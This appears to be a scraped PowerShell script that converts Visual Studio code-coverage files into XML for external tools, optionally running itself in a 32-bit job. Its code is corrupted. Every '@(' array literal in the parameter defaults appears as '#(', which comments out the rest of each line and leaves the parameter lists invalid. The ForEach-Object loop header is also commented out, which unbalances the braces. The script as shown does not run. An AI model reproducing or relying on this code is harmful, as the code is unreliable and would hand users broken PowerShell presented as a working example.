This example includes passing of parameters and a way to identify the current script location.
<#
.SYNOPSIS
Script to convert code coverage report into xml format that can then be published by external tools.
.DESCRIPTION
Covering code coverage staistics as part of quality improvement initiatives .
https://stackoverflow.com/questions/30215324/vstest-code-coverage-report-in-jenkins
#>
Param(
[String] $InputCoveragePath =#("..\GeneratedFiles\Docs\Reports"),
[String] $OutputCoverageFileExtension =#(".coveragexml"),
[String] $CoverageAnalysisAssembly =#("Microsoft.VisualStudio.Coverage.Analysis.dll"),
[String[]] $ExecutablePaths =#(""),
[String[]] $SymbolPaths =#("")
)
$ScriptLocation = Split-Path $script:MyInvocation.MyCommand.Path -Parent
Write-Host $ScriptLocation
<#
if(!(Test-Path "$OutputCoverageFile")){
Write-Host "Creating empty coveragle file $OutputCoverageFile"
New-Item "$OutputCoverageFile" -ItemType "file"
}
#>
$RunAs32Bit = {
Param(
[String] $InputCoveragePath =#("..\GeneratedFiles\Docs\Reports"),
[String] $OutputCoverageFileExtension =#(".coveragexml"),
[String] $CoverageAnalysisAssembly =#("Microsoft.VisualStudio.Coverage.Analysis.dll"),
[String[]] $ExecutablePaths =#(""),
[String[]] $SymbolPaths =#(""),
[String] $ScriptLocation =#(".")
)
Write-Host "[CoverageConverter][Begin]: Coverage conversion started..."
Write-Host "[CoverageConverter][InputCoveragePath]: $InputCoveragePath"
Write-Host "[CoverageConverter][OutputCoverageFileExtension]: $OutputCoverageFileExtension"
Write-Host "[CoverageConverter][CoverageAnalysisAssembly]: $CoverageAnalysisAssembly"
Write-Host "[CoverageConverter][ExecutablePaths]: $ExecutablePaths"
Write-Host "[CoverageConverter][SymbolPaths]: $SymbolPaths"
Write-Host "[CoverageConverter][ScriptLocation]: $ScriptLocation"
Import-Module -Force -Name (Join-Path "$ScriptLocation" "Utilities.psm1")
Add-Type -path "$CoverageAnalysisAssembly"
$Result = 0
if($InputCoveragePath -and (Test-Path "$InputCoveragePath") )
{
[string[]] $coverageFiles = $(Get-ChildItem -Path $InputCoveragePath -Recurse -Include *coverage)
#($coverageFiles) | ForEach-Object {
$coverageFile = $_
$coverageFileOut = (Join-Path -Path $(Split-Path $_ -Parent) -ChildPath ($(Get-Item $_).BaseName + "$OutputCoverageFileExtension"))
Write-Host "If all OK the xml will be written to: $coverageFileOut"
$info = [Microsoft.VisualStudio.Coverage.Analysis.CoverageInfo]::CreateFromFile($coverageFile, $ExecutablePaths, $SymbolPaths);
if($info){
$data = $info.BuildDataSet()
$data.WriteXml($coverageFileOut)
}
}
}
else
{
Write-Host "Please specify a valid input coverage file."
$Result = 1
}
Write-Host "[CoverageConverter][End]: Coverage conversion completed with result $Result"
return $Result
}
#Run the code in 32bit mode if PowerShell isn't already running in 32bit mode
If($env:PROCESSOR_ARCHITECTURE -ne "x86"){
Write-Warning "Non-32bit architecture detected, processing original request in separate 32bit process."
$Job = Start-Job $RunAs32Bit -RunAs32 -ArgumentList ($InputCoveragePath, $OutputCoverageFileExtension, $CoverageAnalysisAssembly, $ExecutablePaths, $SymbolPaths, $ScriptLocation)
$Result = $Job | Wait-Job | Receive-Job
}Else{
$Result = Invoke-Command -ScriptBlock $RunAs32Bit -ArgumentList ($InputCoveragePath, $OutputCoverageFileExtension, $CoverageAnalysisAssembly, $ExecutablePaths, $SymbolPaths, $ScriptLocation)
}